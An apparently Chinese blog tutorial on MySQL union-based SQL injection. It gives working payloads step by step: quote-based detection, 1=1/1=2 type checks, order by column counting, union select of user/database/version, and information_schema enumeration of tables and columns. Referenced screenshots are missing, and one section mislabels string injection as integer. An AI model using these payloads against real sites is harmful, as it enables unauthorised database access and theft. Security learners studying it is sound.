MySQL之union联合注入

联合查询注入是联合两个表进行联合查询

1,判断是否存在sql注入:通常是id=XXX’输入,看页面是否会报错,如果有报错,则存在sql漏洞。(这是最简单的方法,其他的后面补充)

这是输入XXX的时候

                                                                                                       

当输入XXX'就会有以下反应 

这样就证明了存在漏洞

2,判断注入类型

(1)数字型注入

当输入的参 x 为整型,Sql 语句类型大致如下:select * from <表名> where id = x这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:

在方框里输入 x and 1=1 页面依旧运行正常,继续进行下一步。
 在方框里输入x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。

这是因为假如是字符型的话,sql语句为select * from <表名> where id = 'x and 1=1'  没有反应

(2)字符型注入

当输入的参 x 为整型,Sql 语句类型大致如下:select * from <表名> where id = 'x'这样就要用X'and'1'='1和X'and'1'='2来判断了。

和上面同理

3,判断有多少个字段

通常是用XXX' order by 2--+语句

 

这样就证明了,这个库有两个字段数。

4,查询库里的信息

用 vince' union select 1,group_concat(user(),0x3a,database(),0x3a, version())#

这样就可以获得信息了

5,黑盒查询

-1' union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)#

这里为什么要把vince换成-1这样可以避免这样

  information_schema中有三个重要的东西,分别是table,column,schema

tables 表字段 TABLE_SCHEMA 、TABLE_NAME 分别记录着库名和表名

columns 存储该用户创建的所有数据库的库名、标名和字段名。

我们通过-1' union select 1,(select XXX_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)#

-1' union select 1,((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='XXX' limit 1))#
等来查询

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值